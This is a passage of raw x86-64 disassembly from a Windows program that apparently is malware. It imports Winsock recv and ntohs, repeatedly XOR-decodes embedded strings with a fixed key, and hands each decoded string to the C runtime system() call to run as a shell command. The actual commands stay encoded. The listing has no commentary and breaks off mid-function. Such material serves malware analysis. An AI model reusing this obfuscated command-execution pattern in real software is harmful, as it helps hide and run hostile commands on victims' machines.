cmp r8, 0xf
jbe 0x14005f7bc
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x60]
call fcn.14005bb00
mov r8, qword [rbp - 0x68]
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
cmp r8, 0xf
jbe 0x14005f7e6
mov rdx, qword [rbp - 0x80]
lea rcx, [rbp - 0x80]
call fcn.14005bb00
mov eax, dword [0x1401019d8]
mov r8d, r14d
mov dword [rbp + 0x1e0], eax
movzx eax, word [0x1401019dc]
mov word [rbp + 0x1e4], ax
movups xmm0, xmmword [0x1401019a8]
movups xmm1, xmmword [0x1401019b8]
movups xmmword [rbp + 0x1b0], xmm0
movups xmm0, xmmword [0x1401019c8]
movups xmmword [rbp + 0x1c0], xmm1
movups xmmword [rbp + 0x1d0], xmm0
cmp r13d, 2
jl 0x14005f977
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x1b4]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x30
jl 0x14005f870
cmp r8d, 0x36
jge 0x14005f9c1
movsxd rax, r8d
lea r9, [rbp + 0x1b0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x36
jl 0x14005f990
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp - 0x80]
call fcn.14005b850
mov rdi, rax
mov rbx, 0xffffffffffffffff
lea rax, [rbp + 0x1b0]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14005f9e0
mov rcx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x10]
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x14005fa94
lea rax, [r8 + rbx]
mov rsi, rdi
mov qword [rdi + 0x10], rax
cmp rcx, 0xf
jbe 0x14005fa14
mov rsi, qword [rdi]
lea rax, [rbp + 0x1b0]
add rax, rbx
cmp rax, rsi
jbe 0x14005fa4e
lea rax, [rsi + r8]
lea rcx, [rbp + 0x1b0]
cmp rcx, rax
ja 0x14005fa4e
lea rax, [rbp + 0x1b0]
cmp rsi, rax
jbe 0x14005fa51
lea rax, [rbp + 0x1b0]
mov r14, rsi
sub r14, rax
jmp 0x14005fa51
mov r14, rbx
inc r8
lea rcx, [rsi + rbx]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
lea rdx, [rbp + 0x1b0]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [r14 + rbx]
mov r8, rbx
lea rdx, [rbp + 0x1b0]
sub r8, r14
add rdx, rax
lea rcx, [rsi + r14]
call sub.VCRUNTIME140.dll_memcpy
xor r14d, r14d
jmp 0x14005fab9
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call fcn.14005a3e0
mov rdi, rax
mov qword [rsp + 0x70], r14
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x78], r14
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
cmp qword [rsp + 0x78], 0xf
cmova rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8, qword [rsp + 0x78]
cmp r8, 0xf
jbe 0x14005fb1c
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x60]
call fcn.14005bb00
mov r8, qword [rbp - 0x68]
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
cmp r8, 0xf
jbe 0x14005fb46
mov rdx, qword [rbp - 0x80]
lea rcx, [rbp - 0x80]
call fcn.14005bb00
movups xmm0, xmmword [0x1401019e0]
mov r8d, r14d
movups xmm1, xmmword [0x1401019f0]
mov eax, dword [0x140101a50]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x140101a00]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x140101a20]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x140101a10]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x140101a40]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x140101a30]
mov dword [rbp - 0x10], eax
movzx eax, word [0x140101a54]
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x30], xmm1
mov word [rbp - 0xc], ax
cmp r13d, 2
jl 0x14005fcf7
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x70
jl 0x14005fbf0
cmp r8d, 0x76
jge 0x14005fd32
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x76
jl 0x14005fd01
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140101a60]
mov r8d, r14d
movups xmm1, xmmword [0x140101a70]
mov eax, dword [str.SKS_]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x140101a80]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x140101aa0]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x140101ac0]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x140101a90]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [0x140101ad0]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x140101ab0]
movsd qword [rbp - 0x10], xmm0
movups xmmword [rbp - 0x30], xmm1
mov dword [rbp - 8], eax
cmp r13d, 2
jl 0x14005fee7
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x78
jl 0x14005fde0
cmp r8d, 0x7c
jge 0x14005ff22
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x7c
jl 0x14005fef1
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [r12 + 0x101ae0]
lea rcx, [rbp - 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmmword [rcx + 0x90], xmm1
cmp r13d, 2
jl 0x1400600e4
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
mov edx, r14d
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov r8d, dword [rbp + 0x300]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0xa0
jl 0x14005ffe0
jmp 0x140060124
lea r9, [rbp - 0x80]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xa0
jl 0x1400600f0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140101b80]
mov r8d, r14d
movups xmm1, xmmword [0x140101b90]
movzx eax, word [0x140101c18]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x140101ba0]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x140101bc0]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [str.s9z2]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x140101bb0]
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x140101c00]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x140101bd0]
movups xmmword [rbp], xmm0
movsd xmm0, qword [0x140101c10]
movups xmmword [rbp - 0x30], xmm1
movups xmm1, xmmword [0x140101bf0]
movsd qword [rbp + 0x10], xmm0
movups xmmword [rbp - 0x10], xmm1
mov word [rbp + 0x18], ax
cmp r13d, 2
jl 0x1400602fd
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x98
jl 0x1400601f0
cmp r8d, 0x9a
jge 0x140060344
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x9a
jl 0x140060310
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [r12 + 0x101c20]
mov r8d, r14d
mov rax, qword [rcx + 0xa0]
lea rdx, [rbp - 0x80]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
mov qword [rdx + 0x20], rax
mov eax, dword [rcx + 0xa8]
mov dword [rdx + 0x28], eax
movzx eax, byte [rcx + 0xac]
mov byte [rdx + 0x2c], al
cmp r13d, 2
jl 0x14006051f
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0xa8
jl 0x140060412
cmp r8d, 0xad
jge 0x140060564
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xad
jl 0x140060530
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140101cd0]
mov r8d, r14d
movups xmm1, xmmword [0x140101ce0]
movzx eax, byte [0x140101d50]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x140101cf0]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x140101d00]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x140101d10]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x140101d20]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x140101d30]
movups xmmword [rbp - 0x30], xmm1
movups xmm1, xmmword [0x140101d40]
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm1
mov byte [rbp], al
cmp r13d, 2
jl 0x14006071d
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x80
jl 0x140060610
cmp r8d, 0x81
jge 0x140060764
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x81
jl 0x140060730
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140101d60]
mov r8d, r14d
movups xmm1, xmmword [0x140101d70]
mov eax, dword [0x140101df0]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x140101d80]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x140101da0]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x140101d90]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x140101dc0]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x140101db0]
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x140101de0]
movups xmmword [rbp - 0x30], xmm1
movups xmm1, xmmword [0x140101dd0]
movups xmmword [rbp], xmm0
movups xmmword [rbp - 0x10], xmm1
mov dword [rbp + 0x10], eax
cmp r13d, 2
jl 0x14006092d
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x90
jl 0x140060820
cmp r8d, 0x94
jge 0x140060974
movsxd rax, r8d
